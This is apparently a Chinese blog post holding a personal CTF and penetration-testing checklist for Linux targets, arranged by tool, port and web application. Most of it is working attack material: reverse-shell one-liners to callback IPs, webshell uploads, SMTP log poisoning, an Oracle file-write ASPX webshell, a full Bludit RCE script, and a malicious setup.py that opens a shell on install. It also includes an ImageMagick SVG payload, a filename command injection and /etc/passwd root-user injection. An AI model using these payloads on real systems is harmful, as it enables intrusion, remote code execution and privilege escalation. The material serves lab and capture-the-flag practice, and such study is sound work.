• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

日常记录CTF审查清单linux

武飞扬头像
人间体佐菲
帮助1

白刀破金甲


欢迎大佬补充
恳求大佬补充
感谢大佬补充



一、常用工具

常用代理设置
proxychains4 -f /etc/proxychains4.conf
nmap
  1. 探测目标IP
nmap -sP 192.168.247.0/24    
或
nmap -sn  192.168.247.0/24
全自动扫描
./nmapAutomator.sh --host 192.168.3.151 --type All


一定要用这个扫一下
nmap -sT -p- --min-rate 10000 10.129.138.220 
udp扫描
nmap -vvv -sU -o nmapudp 10.129.138.220 --max-retries 0
或者
nmap -sU --top-ports 10 -sV 10.129.228.106
具体udp
nmap -p 161,500 -sV -sU -sC 10.129.138.220
  1. 探测目标服务
nmap -sS -sV -A -T5 [IP]
以及
nmap [IP] -p-
curl
curl 【域名】
curl -v -X PUT -d '<?php system($_GET["cmd"]);?>' 【写入的文件】
curl -v -X OPTIONS 【域名】
curl --upload-file 【文件名】 -v --url 【写入的文件名】 -0
curl 192.168.247.129 -H "Cookie:lang=../upload/f3c697838a7e6b1c6406bb5b246e553f.gif"
上传:
curl --output - -b lang=../upload/0e.png 
代替wget功能
curl -# -O http://192.168.253.138:8082/linpeas.sh
dirb
dirb 【域名】 【字典】
dirb 【域名】 【字典】 -x 【类型】

在扫的时候要注意观察url,如果存在特殊的,都具备的特殊字符,要加上一起扫

dirsearch
dirsearch -u http://192.168.247.162 -e php --proxy 【代理】  -t 【线程】
gobuster
gobuster dir -u 【域名】 -t 【线程数】 -w 【字典】 -s 【状态】 -x php,html

常用的字典是dirbuster的字典
directory-list-2.3-small.txt、directory-list-2.3-medium.txt、directory-list-2.3-big.txt

扫https
gobuster dir -k -u https://10.129.12.161 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt  -t 20
nikto
nikto -h 【IP】 -useproxy 【代理域名】
不挂代理就只有前面的
wpscan
正常扫描
wpscan --url 【域名】  -e u --api-token 【token】 --disable-tls-checks
枚举用户
wpscan --url http://wordy/ -eu  
爆破
wpscan -U useer.txt -P passwords.txt --url http://wordy    ---爆破
wget
  1. 下载https
wget --no-check-certificate 【https域名】
hashcat
1. 检验加密类型
hash-identifier
2. 解密MD5/加盐的直接在md5后面:[盐值]
hashcat -m 2611 --force rong.txt 【字典,通常是rockyou】

Binwalk (通用分析)

通常用在对文件,图片的分析

Binwalk 【文件名】
wfuzz(模糊测试)
  1. 数据库爆破(mdb,db,sql,txt,lst)
2. 利用sqlmap共用字典
wfuzz -w /usr/share/sqlmap/data/txt/common-tables.txt --sc 200 http://192.168.247.166:9999/FUZZ.db

3. 利用cruch生成的字典加上五个常用后缀进行双爆破
wfuzz -t 100 -w rong -w db.txt --sc=200 -c http://192.168.4.203:9999/FUZZ.FUZ2Z
  1. 账号密码爆破
wfuzz -c -z file,./user.txt -z file,./pass.txt -d 'user=FUZZ&pass=FUZ2Z&pin=22222' http://192.168.2.177:8888/login.php
  1. 目录爆破
wfuzz -c --hc=400,404 -z file,rong.txt http://192.168.149.131/exschmenuating/FUZZ.php
crunch(生成字典)
crunch 5 5 1234567890 > pin   --生成5位数字码
crunch 1 4 abcdefghijklmnobqrstuvwxyz1234567890 > rong  --猜解文件名
awk 正则匹配
https://www.runoob.com/linux/linux-comm-awk.html
awk -F'|' '{print $3}' 1122.txt > 2211.txt    
proxytunnel(横向)
proxytunnel -p 10.211.55.38:3128 -d 127.0.0.1:22 -a 5566  kali本地5566端口
frp(横向)
  1. 修改frpc.ini
  2. 赋权执行frps
  3. 上传frpc以及frpc.ini
  4. 赋权执行frpc
./frps -c frps.ini 
./frpc -c frpc.ini
gedit /etc/proxychains4.conf   --本机(或者proxychains.conf )
最后一行加上:socks5 192.168.253.138 7777
weevely(后门生成)
weevely generate pass1234 rong.php
weevely http://192.168.247.142/test/rong.php p#ass#rong
finger(查存在用户,mail常用)
finger user@192.168.147.151 
git clone https://github.com/Kan1shka9/Finger-User-Enumeration.git
cd Finger-User-Enumeration  
然后该下sh文件IP:
./finger_enum_user.sh user.txt
sqlmap(跑数据库,OSCP禁用)
爆数据库
sqlmap -u "http://192.168.247.143/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --level=5 --risk=3
爆表
sqlmap -u "http://192.168.247.143/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --level=5 --risk=3 -D jabcd0cs --tables
爆字段
sqlmap -u "http://192.168.247.143/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --level=5 --risk=3 -D jabcd0cs --tables -T odm_user --columns
爆字段内容
sqlmap -u "http://192.168.247.143/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --level=5 --risk=3 -D jabcd0cs --tables -T odm_user --dump

1)sqlmap带账号密码爆破
sqlmap -d 'mysql://root:H4u%QJ_H99@10.211.55.46:3306/Users' --dump -T users -D Users

测试写入权限:
sqlmap -d 'mysql://root:H4u%QJ_H99@10.211.55.46:3306/Users' --current-user --is-dba
由于当前用户不是DBA,无法通过MySQL ROOT 帐户写入文件!
hydra(爆破神器)

wordlists 查询存在的list

爆破pop3
hydra -spop PORT -L USERNAME_LIST -P PASSWORD_LIST -e nsr -t 22 IP pop3
或者
hydra pop3://192.168.2.141 -L user.txt -P pass.txt

爆破ftp
hydra  【ftp地址】  -L  【字典】  -P  【字典】
例如:hydra -l veronica -P rong.txt ftp://192.168.149.131

爆破ssh
hydra -l 【用户名】  -P 【字典】 -t 5 -v -f 【IP】 ssh
或者
hydra ssh://192.168.2.141 -L user.txt -p "xxx"

爆破web
hydra -L 1.txt -P 2.txt 172.20.10.8 http-post-form "POST头部信息:post体信息(^USER^^PASS^):错误信息"

爆破postgresql
hydra -L /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt -P /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt -s 5432 127.0.0.1 postgres -vvv

john(爆破)

1 1 1rohit$01Dl0NQKtgfeL08fGrggi0
这样的密码可以用john爆破

命令:john --wordlist=/usr/share/wordlists/rockyou.txt rong
命令:john --show rong
ltrace(多用于缓冲区)

如果文件打开需要ID或其他

ltrace ./agent     //或许可以看到将你输入的东西与其他的一个东西比较
hardening-check (检查文件安全机制)
hardening-check ./xxx
python反弹

网站上python的不对,做一个更正

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.149.129",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

socat
防火墙中建立反弹shell
socat TCP-LISTEN:6666,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

socat FILE:`tty`,raw,echo=0 TCP:192.168.247.166:6666
端口映射
第一种:
socat TCP-LISTEN:8009,fork,reuseaddr TCP:10.0.3.3:8009 &

socat TCP-LISTEN:xxxx  这里描述的当前掌握shell的主机 
fork,reuseaddr TCP:10.0.3.3:8009    这个描述的是目标主机的端口和IP

第二种:
内网本地端口映射外网
socat TCP-LISTEN:8888,fork TCP:127.0.0.1:80 &
socat TCP-LISTEN:9999,fork TCP:127.0.0.1:65334 &
端口转发:附加一个与号“&”在后台运行 socat 命令
127.0.0.1:65334是内网的主机

使用这个命令,没有reuseaddr,因为reuseaddr代表开启服务端口,仅仅监听的话不需要加reuseaddr

解密

61:6c类
https://www.rapidtables.com/convert/number/hex-to-ascii.html
eval(function(p,a,c,k,e,d) 类
http://matthewfl.com/unPacker.html
莫斯/tap/rot13/仿射等密码
https://cryptii.com/
先选解码,再放数据
1 1 1rohit$01Dl0NQKtgfeL08fGrggi0

john爆破

fackespreadsheet

以下这种格式

Expenses
Software Licenses,$2.78
Maintenance,$68.87
Mortgage Interest,$70.35
Advertising,$9.78
Phone,$406.80
Insurance,$9.04
https://www.spammimic.com/decode.shtml
选择:Decode fake spreadsheet
rsa解密

p,q,e三个数值来源于给出的信息

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y

def main():

    p = 
    q = 
    e = 
    ct = 
    # compute n
    n = p * q

    # Compute phi(n)
    phi = (p - 1) * (q - 1)

    # Compute modular inverse of e
    gcd, a, b = egcd(e, phi)
    d = a

    print( "n:  "   str(d) );

    # Decrypt ciphertext
    pt = pow(ct, d, n)
    print( "pt: "   str(pt) )

if __name__ == "__main__":
    main()

会得到一个pt和n
然后进入python命令行

>>> pt =  
>>> f"{pt:x}"
>>> bytes.fromhex(f"{pt:x}").decode()
一次性混淆密码( Vigenere Cipher)
https://www.braingle.com/brainteasers/codes/onetimepad.php
上面这个可以原文密文对照得出key,然后到下面网站选择 Vigenere Cipher
https://cryptii.com/
ROT13
echo [密文] | tr a-z n-za-m
okk!

全是?!的密码

https://www.dcode.fr/langage-ook
将16进制读回ascii
cat index.php | xxd -r -p
遇到大段类似于base64编码
cat 1.txt | base64 -d | xxd    先读回ascii
pk幻数

读回之后开头是pk
https://asecuritysite.com/forensics/magic
对应去找16进制前8位

脑残解码[-> <] > .-

https://copy.sh/brainfuck/

二、具体服务类

21:ftp

普通登录格式: 用户名:密码@ftp地址:传送端口(默认21)
字典来源为web获取或者cewl

  1. 默认登陆
    账号为anonymous,密码为空

  2. passive异常
    在百度的基础上加一个bin,可以尝试

epsv4 off
以及passive
  1. 如果ftp是web目录
    直接写后门
    用put传文件
22:ssh

普通登陆格式:ssh -i [id_rsa] -p [port] [user]@[ip] "[command]"

  1. cewl爬取密码本
cewl 【域名】 > 1.txt
  1. 已知账号的密码爆破
    hydra爆破

  2. 登陆受限的ssh
    通常-t执行命令,但是需要无密码或者证书登录

  3. ssh毒化

ssh-keygen  ---全部回车
cd /root/.ssh 
cat id_rsa.pub   ---里面的值复制
在mnt目录下创建:mkdir .ssh   
cd .ssh  进去后写入:
echo '【id-rsa】' > authorized_keys	
  1. rbash逃逸
    本质上还是借助了ssh命令执行
ssh mindy@192.168.247.167 "export TERM=xterm; python -c 'import pty; pty.spawn(\"/bin/sh\")'"
  1. ssh端口转发
127.0.0.1:5901 是目标主机
-L 5901 是自己端口
ssh -L 5901:127.0.0.1:5901 charix@10.129.1.254 
  1. 基于ssh的scp文件传输
scp charix@10.10.10.84:secret.zip .
25 :smtp
  1. 后门写入
    如果可以访问到log或者邮件内容文件
    敏感目录:/var/log/mail
nc [ip] [port]  或者:telnet [ip] [port]  
1)HELO [user]    ---向服务器标识用户身份
2)MAIL FROM:"[user] <?php echo shell_exec($_GET['cmd']);?>"   ---MAIL FROM:发件人
3)RCPT TO:[reciver]   ---RCPT TO:收件人
4)DATA    ---开始编辑邮件内容
5).       ---输入点代表编辑结束
6)http://192.168.56.102/turing-bolo/bolo.php?bolo=../../../../var/log/mail&cmd=id
  1. 敏感信息枚举
    smtp所造成的信息泄露来获取一定的存在用户
smtp-user-enum -M VRFY -U [字典] -t 192.168.247.151
-M    ---用于猜测用户名 EXPN、VRFY 或 RCPT 的方法(默认值:VRFY)
-U    ---通过 smtp 服务检查的用户名文件
-t    ---host 服务器主机运行 smtp 服务
字典是这个,也可以选取类似:
/usr/share/metasploit-framework/data/wordlists/unix_users.txt
u/t53 dns
dnsrecon -r 10.10.10.0/24 -n 10.10.10.13
添加入host
再根据刚才得到的第一个ns1解析,去掉ns1执行下面的命令
两种任选一个
host -l -a cronos.htb 10.129.227.211 
dig axfr cronos.htb @10.129.227.211

79 finger

枚举脚本
pentestmonkey.net/tools/finger-user-enum/finger-user-enum-1.0.tar.gz

枚举用户

./finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 10.129.16.126

连接用ssh等即可,常常一起出现

80/8080/443:web页面(s或非s)

如果只是静态页面的(已经遇到的是nginx)
注意看nmap扫出来的信息,有没有下面这样的,如果有就要加host并且直接访问域名而非ip

commonName=brainfuck.htb/organizationName=Brainfuck
Ltd./stateOrProvinceName=Attica/countryName=GR | Subject Alternative
Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb

  1. 弱逻辑登陆页面爆破
    hrdra/burpsuit
  2. 弱口令登录
    admin等
  3. 已知cms
searchsploit 【cms版本】
或者谷歌
  1. 页面源码信息泄露
  2. 页面源码特殊的js文件,例如app.js
  3. 做本地host
    域名通常根据浏览器的跳转或者提示来判定
gedit /etc/hosts
  1. 目录爆破
    使用工具curl等
110:pop3
  1. hydra爆破
  2. 登陆方式
telnet x.x.x.x 110
user xxxx
pass xxxx

查看邮件目录
list 
retr 1
135rpc
rpcclient -U “” -N [IP]
enumdomusers    枚举用户
enumprinters   枚举打印机

看能不能有枚举用户

143 imap

evolution客户端链接
编辑添加账号即可

139&445:smb

smb如果能进web页面那就上传后门,然后直接拿shell
目前遇到了samba smbd,可以扫描获取敏感信息,可能会发现匿名登录,进而信息枚举

通常检验过程(存在信息泄漏,或者空绑定,可以枚举出所有用户)
smbclient -N -L //[IP]   看看有没有空绑定,如果有的话可以利用
enum4linux -v 10.10.10.161   来枚举出包括所有用户信息的数据
单独枚举用户:
enum4linux -U 192.168.3.142

扫描是否存在漏洞
nmap -v --script smb-enum-* -p445 192.168.3.141
扫描漏洞(第一次使用在了windows)
nmap -p 445 --script vuln 10.129.6.213

登录
smbclient //【ip】/【用户】
smbclient \\\\[ip]\\[share name]
smbclient //10.129.65.80/new-site -U tyler    这是登陆带组的用户
这两种命令都能用来着

密码爆破
./acccheck.pl -t 192.168.3.142 -u smb -v

查看共享目录
smbclient -L 10.10.10.161 
smbmap -u 'smb' -p '' -H 192.168.3.142
查看共享组
smbclient -N //10.10.10.134/backups   

如果需要改密码
smbpasswd -r 10.10.10.193  tlavel   即可
udp161/162 snmp(造成信息泄漏)

先nmap扫(在上面)
而后再找几个信息,例如:

1. 用来识别用的什么字符串(public或其他)
onesixtyone 10.10.10.20 -c /usr/share/doc/onesixtyone/dict.txt
161/udp open  snmp    SNMPv1 server (public)‘
命令示例;snmpwalk -c public -v 1 10.129.138.220 > snmp-public.txt

利用snmp执行高权限进程在下面
telnet

主要打法,依托tcpdump检验能否执行命令,而后直接反弹shell

sudo tcpdump ip proto \\icmp -i tun0  本机开启tcpdump
 .RUN ping <ip fo your machine> -c 1     靶机检验能否执行命令
利用如下方式生成payload
 msfvenom -p cmd/unix/reverse_netcat lhost= <你机器的ip> lport=4444 R
443 SSL

可能会出现部分敏感目录403的情况
切换成https即可

udp 500 (ISAKMP)
ike-scan 10.129.138.220 -M    --探寻属性
/etc/ipsec.conf和 /etc/ipsec.secrets   ---修改配置


修改完了连接即可
ipsec restart 
ipsec up conceal 

学新通

/etc/ipsec.secrets
%any : PSK "Dudecake1!"
/etc/ipsec.conf

改参数

config setup
    charondebug="all"
    uniqueids=yes
    strictcrlpolicy=no

conn conceal
    authby=secret
    auto=add
    ike=3des-sha1-modp1024!
    esp=3des-sha1!
    type=transport
    keyexchange=ikev1
    left=10.10.14.15
    right=10.10.10.116
    rightsubnet=10.10.10.116[tcp]
udp 623 IPMI (是Bare Metal BMC automation的一个平台)

详细利用在下文,可以获取hash

1521(Oracle)
使用odat工具
1. 枚举id
odat sidguesser -s 10.129.7.193
2. 查看是否可打
odat tnspoison -s 10.10.10.82 -d XE --test-module
xe是刚才枚举出的id
3. 爆破密码
odat passwordguesser -d XE -s 10.129.7.193 -p 1521 --accounts-file  /usr/share/odat/accounts/accounts.txt
4. 登陆枚举
用native或者sqlplus
sqlplus scott/tiger@10.10.10.82:1521/XE as sysdba
5. webshell/payload
--------------------------------------
declare
    f utl_file.file_type;
    s varchar(5000) := '<%@ Page Language="C#" Debug="true" Trace="false" %><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System.IO" %><script Language="c#" runat="server">void Page_Load(object sender, EventArgs e){}string ExcuteCmd(string arg){ProcessStartInfo psi = new ProcessStartInfo();psi.FileName = "cmd.exe";psi.Arguments = "/c " arg;psi.RedirectStandardOutput = true;psi.UseShellExecute = false;Process p = Process.Start(psi);StreamReader stmrdr = p.StandardOutput;string s = stmrdr.ReadToEnd();stmrdr.Close();return s;}void cmdExe_Click(object sender, System.EventArgs e){Response.Write("<pre>");Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));Response.Write("</pre>");}</script><HTML><body ><form id="cmd" method="post" runat="server"><asp:TextBox id="txtArg" runat="server" Width="250px"></asp:TextBox><asp:Button id="testing" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button><asp:Label id="lblText" runat="server">Command:</asp:Label></form></body></HTML>';
begin
    f:= utl_file.fopen('/inetpub/wwwroot', 'peng.aspx', 'W');
    utl_file.put_line(f,s);
    utl_file.fclose(f);
end;
/
------------------------------------------
6. 然后url直接访问10.10.10.82/peng.aspx即可获取webshell,后续借助nishang(win)就可以反弹shell
3128或其他端口(squidhttp代理)

需要挂代理让流量走这个端口
使用一些工具扫描的时候就需要注意了

nmap能扫出来但是close的端口

在已经获得shell的机器中,可以通过如下来找配置文件,知道端口顺序

find / -name "knockd.conf" 2>/dev/null

可能存在端口敲震

knock 10.211.55.36 7482 8279 9467
nmap 10.211.55.36 -p7788     
NFS(对系统位数要求较为严苛)
开启关闭nfs
sudo /usr/local/sbin/nfs status
sudo /usr/local/sbin/nfs start
ps aux | grep nfs
显示挂载目录:showmount -e 192.168.253.229

mkdir nfs   ---创建个挂载目录
mount -t nfs 【IP】:【目标路径】 【自身路径】  
umount /tmp/nfs   ---全部挂载删除

创建专门权限用户useradd -u 2008 vulnix

这个我用在了windows上
mount -t cifs //10.10.10.134/backups /mnt -o user=,password=
不同位系统之间bash传递

需要利用NFS,进行bash的传递,权限的混淆

1)在vulnix
ssh vulnix@192.168.253.167
cp /bin/bash .

2)在kali执行
cat bash > rong    
chmod 4777 rong
本地计算机的/bin/bash复制到/tmp/nfs并赋权
./bash -p   ---保留原始的shell权限

两种payload
-------------------------------------------
#include <stdlib.h>
int main() { setuid(0); setgid(0); system("/bin/sh"); }
----------------------------------
nano写入shell.c文件
gcc shell.c -o shell
chmod 4777 shell
./shell
成功提权!

------------------------------------
#include <stdio.h>

int main()
{
    setuid(0);
    setgid(0);
    system("/bin/sh");
}
4555 JAMES(POP3管理软件)

nc x.x.x.x 4555
账号密码默认是root
可以查看用户,也可以修改用户密码,而后pop3登录邮件枚举

5800/5900 vnc
见vnc提权部分
6667 src
若端口关闭

常由于防火墙限制,需要在拿到低权shell后修改防火墙规则
iptables:

sudo /sbin/iptables -L   --查看规则
sudo /sbin/iptables --flush   ---全放行
端口未关闭/打开后
nmap 192.168.253.180 -p6667(可以看到server信息)
find / -name 【server】* 2>/dev/null     应该会找到存在信息的目录

目录可能会存在log以及cfg文件,其中可能会有频道信息(channels

  1. irssi -c 192.168.247.164 -p 6667 -n wallabyschat 登陆服务器
  2. /list 查看频道
  3. /j wallabyschat 加入频道
  4. 看到[@waldo] [ wallabysbot]这样的数个用户
  5. /whois waldo 查看用户信息,可能会出现使用的框架信息,在ircname
  6. 这个时候的框架信息应该会与之前的find(server)一致,其中会有modules,里面有配置信息**(这一步也可以暂时忽略)**
  7. /j wallabyschat重新加入频道
  8. .run ls 执行命令,可能会存在用户验证
  9. who或者ps -aux | grep waldo查找对应用户进行的进程号
  10. kill 733 或者其他命令执行方式执行杀死进程命令
  11. /nick waldo给自己改名
  12. .run bash -c 'bash -i >& /dev/tcp/192.168.247.129/9090 0>&1'命令执行
6379 redis
redis-cli -h 10.129.2.1 🔗
keys * 展示列表
incr 0xdf 测试写入
get 0xdf 查看写入

如果可以写入,就好办了

常用方法:写入一个ssh

方法

config get dir //使用dir命令,看一下目前在哪
config set dir ./.ssh //设置目录是~./ssh
ssh-keygen //本机生成一个ssh密钥
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > spaced_key.txt  //把公钥写到这个文件中
cat spaced_key.txt | redis-cli -h 10.129.2.1 -x set rong //设置进去

redis保存
config set dbfilename "authorized_keys" //配置好
save //保存
6697/8067 irc

枚举利用:
hexchat打开,添加irked
编辑:【IP:port】以及立即打开频道

执行命令利用:
使用nc

27017(mongodb)

三、CMS/搭建框架类

wordpress
  1. wpscan枚举用户
  2. 密码本爆破
  3. 主要关注插件,主题
  4. 搭配谷歌
  5. 弱口令
  6. 1.0等版本具有本地lfi…/…/…/…/etc/passwd
  7. wp-support-plus-responsive-ticket-system(注意这个模块是否存在)searchsploit wordpress Plugin wp support
http://x.x.x.x/xxx/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd
drupal
  1. nmap可能会扫得
    CHANGELOG.TXT 查看版本信息,或许可以利用exp远程命令执行
joomla
joomscan -u http://192.168.247.131/
apache

站库分离,不解析aspx,asp(这两个是IIS的),所以在扫不到东西的时候可以扫php后缀
站在外网暴露
库在内网
apache php mysql最常见

gila cms
nginx

如果只是静态页面的(已经遇到的是nginx)
注意看nmap扫出来的信息,有没有下面这样的,如果有就要加host并且直接访问域名而非ip

commonName=brainfuck.htb/organizationName=Brainfuck
Ltd./stateOrProvinceName=Attica/countryName=GR | Subject Alternative
Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb

phpliteadmin(看版本)
hydra 10.129.12.161 -l 0xdf -P /usr/share/seclists/Passwords/twitter-banned.txt https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log In&proc_login=true:Incorrect password"

而后可以新建数据库.php后缀数据库,协同lfi反弹shell或者一句话

magento购物网站
https://github.com/joren485/Magento-Shoplift-SQLI/blob/master/poc.py

利用该脚本可以在1.x版本直接修改后台/admin账号密码

python poc.py [ip]
而后在已经登陆的情况下按照37811操作
phpmyadmin(4.8.0)

sql 页面

SELECT "<?php system($_GET['c']); ?>" into outfile "/var/www/html/sh3ll.php"
而后
http://10.129.227.147/shell.php?c=id
pi-hole

弱口令,可以登陆ssh

pi
raspberry
phpinfo信息检索

标题的php信息
uploads能否上传

PlaySMS
https://www.exploit-db.com/exploits/42044
webmin <=1.910
 CVE-2019-12840:https://www.exploit-db.com/exploits/46984

Webmin 1.910 及更低版本中的任意命令执行漏洞
直接提权

1. 生成payload
msfvenom -p cmd/unix/reverse_perl LHOST=<LHOST> LPORT=4422 -f raw > rshell.pl
2. 先payload b64编码,再整段URL编码(如果在浏览器中)
bash -c "{echo,【base64之后的payload】}|{base64,-d}|{bash,-i}"
3. 抓包改包
	1. 增加两个头
Referer: https://10.129.2.1:10000/package-updates/?xnavigation=1
Content-Type: application/x-www-form-urlencoded
	2. 改成post
	3. 放入payload
4. 本地接shell
nostromo

http://www.nazgul.ch/dev/nostromo_man.html
官网文档
实例:

homedirs                /home
homedirs_public         public_www
所以应该访问http://10.10.10.165/~david/,他是home页面
并且他在/home/david/public_www目录中
bludit3.9.2

这个脚本可以成功实现带凭据的rce

#!/usr/bin/env python3
import netifaces as ni
import re
import requests
callback_ip = ni.ifaddresses('tun0')[ni.AF_INET][0]['addr']
username = 'fergus'
password = 'RolandDeschain'
url = 'http://10.10.10.191'
s = requests.session()
# Login
resp = s.get(f'{url}/admin/')
csrf = re.findall('name="tokenCSRF" value="([0-9a-f]{32,})"', resp.text)[0]
s.post(f'{url}/admin/', allow_redirects=False,
        data = {'tokenCSRF': csrf, 'username': username, 'password': password, 'remember': 'true', 'save': ''})
# Get CSRF to upload images
resp = s.get(f'{url}/admin/new-content/index.php')
csrf = re.findall('\nvar tokenCSRF = "([0-9a-f]{32,})";', resp.text)[0]
# Upload webshell
form_data = {'images[]': ('0xdf.php', '<?php system($_REQUEST["cmd"]); ?>', 'image/png')}
data = {'uuid': 'junk',
        'tokenCSRF': csrf}
s.post(f'{url}/admin/ajax/upload-images', data=data, files=form_data, proxies={'http':'http://127.0.0.1:8080'}, allow_redirects=False)
# Upload .htaccess file
form_data = {'images[]': ('.htaccess', 'RewriteEngine off', 'image/png')}
s.post(f'{url}/admin/ajax/upload-images', data=data, files=form_data, proxies={'http':'http://127.0.0.1:8080'}, allow_redirects=False)
# Trigger Shell
resp = s.get(f'{url}/bl-content/tmp/0xdf.php', params={'cmd':f'bash -c "bash -i >& /dev/tcp/{callback_ip}/443 0>&1"'})
tomcat

/opt/tomcat/conf/tomcat-users.xml
存在凭据

本季已经安装tomcat,直接搜索
find / -name tomcat-users.xml

两个默认页面
/host-manager/html
以及
/manager

管理器攻击(/host-manager/html)
msfvenom -p java/shell_reverse_tcp lhost=10.10.14.29 lport=8888 -f war -o shell.war

curl -u 'tomcat:$3cureP4s5w0rd123!' http://10.129.18.17:8080/manager/text/deploy?path=/rong --upload-file shell.war  

curl http://10.129.18.17:8080/rong  
splunk

有凭据直接反弹root

git clone https://github.com/cnotin/SplunkWhisperer2.git

python3 PySplunkWhisperer2_remote.py --host 10.129.2.21 --lhost 10.10.14.29 --username shaun --password Guitar123 --payload "bash -c 'bash -i >& /dev/tcp/10.10.14.29/9999 0>&1'"
pypi server
1. 先查看 .pypirc文件
关注:index-servers
2. 本地创建包
mkdir revshell;cd revshell;touch README.md;mkdir revshell;cd revshell;touch __init__.py;cd ..;touch setup.cfg;touch setup.py;cd ..
3. 打包成dist
python setup.py sdist
4. 靶机安装
python setup.py sdist upload -r sneaky
sneaky是index-servers数值
setup.py 脚本内容如下
================================================
================================================
import os
import socket
import subprocess
from setuptools import setup
from setuptools.command.install import install

class Exploit(install):
    def run(self):
        RHOST = '10.10.14.29'
        RPORT = 9999
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect((RHOST, RPORT))
        for i in range(3):
            os.dup2(s.fileno(), i)
        p = subprocess.call(["/bin/sh","-i"])

setup(name='revshell',
      version='0.0.1',
      description='Reverse Shell',
      author='0xdf',
      author_email='0xdf',
      url='http://sneakycopy.htb',
      license='MIT',
      zip_safe=False,
      cmdclass={'install': Exploit})
com.ubuntu.USBCreator.conf

要求具有sudo组以及同等效力组
将一个已知文件的内容,投射到一个不存在的文件
而后我们查看,发现这个文件会被创建
读取:

gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/root.txt /dev/shm/dashabi true

写入密码

cp /etc/passwd passwd
openssl passwd -1 rong
echo 'rong:$1$7P/yeC8J$z2eywF.JUPm21Dx0IqVEp.:0:0:pwned:/root:/bin/bash' >> passwd 
gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /dev/shm/passwd /etc/passwd true
su rong
Medusa httpd

Medusa是Supervisor的托管服务器
默认密码user/123
默认配置文件
supervisord.conf

Mattermost

配置文件在
/opt/mattermost/config/config.json

Laravel v8 (PHP v7.4.18)
1. 下载phpggc
https://github.com/ambionics/phpggc
下面的代码示例是下载到了/opt
2. 下载py脚本
https://github.com/ambionics/laravel-exploits
3. 生成php反序列化char文件
php -d'phar.readonly=0' /opt/phpggc/phpggc --phar phar -o id.phar --fast-destruct monolog/rce1 system id
最后的id是命令,可以修改
4. 利用脚本
python3 exp.py http://127.0.0.1:8000 /opt/phpggc/id.phar  
IPMI (Bare Metal BMC automation的一个平台)

开放在udp623

1. 首先获取版本
use  auxiliary/scanner/ipmi/ipmi_version
set rhosts 10.129.19.82
run
2. 提取hash
use auxiliary/scanner/ipmi/ipmi_dumphashes
set rhosts 10.129.19.82
run
zabbix

配置文件在/etc/zabbix
可以执行命令

configuration->hosts->items而后再点击select可以发现命令种类
system.run[id]可以执行命令
(mogrify)ImageMagick以及一些套件(7.0.10-36)

写一个poc.svg到他处理图片的目录,base64是反弹shell

<image authenticate='ff" `echo "YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNi80NDQgMD4mMSAK" | base64 -d | bash`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="msl:mog-shell.svg" height="100" width="100"/>
  </svg>
</image>
npm

关于npm包挟持的内容再提权页面

搜索日志
npm search log --registry http://127.0.0.1:4873
把db-logger拉到本地
npm install db-logger --registry http://127.0.0.1:4873
jamovi

在r处可以执行命令

# summary(data[1:3])
system ("bash -c 'bash -i  >& /dev/tcp/10.10.14.29/8888 0>&1'" , intern = TRUE
Bolt

特征文件是ovm,并且注意已知密码和admin搭配
尝试修改页面存在的php文件
添加如下,可以尝试

<?php
	system("bash -c 'bash -i  >& /dev/tcp/10.10.14.29/7777 0>&1'")
?>

以及注意yml的信息枚举

四、突破点(非提权)

添加到临时环境变量
export PATH=/tmp:$PATH
node.js反弹shell
https://www.revshells.com/
第二行添加如下
const require = console.log.constructor('return process.mainModule.require')();
静态nmap
https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap
打开json文件

文件名是xdata.json

cat xdata.json | jq -c '.[]'
文件名命令注入(常见于mv操作)

上传文件时候不安全的调用的mv移动文件

echo -n 'bash -c "bash -i >& /dev/tcp/10.10.14.29/8888 0>&1"' | base64

touch 'd.jpg;`echo YmFzaCAtYyAiYmFzaCAtaSA JiAvZGV2L3RjcC8xMC4xMC4xNC4yOS84ODg4IDA JjEi|base64 -d|bash`;'

而后在post包中添加post体来访问

file:///var/www/writer.htb/writer/static/img/d.jpg;`echo YmFzaCAtYyAiYmFzaCAtaSA JiAvZGV2L3RjcC8xMC4xMC4xNC4yOS84ODg4IDA JjEi|base64 -d|bash`;#
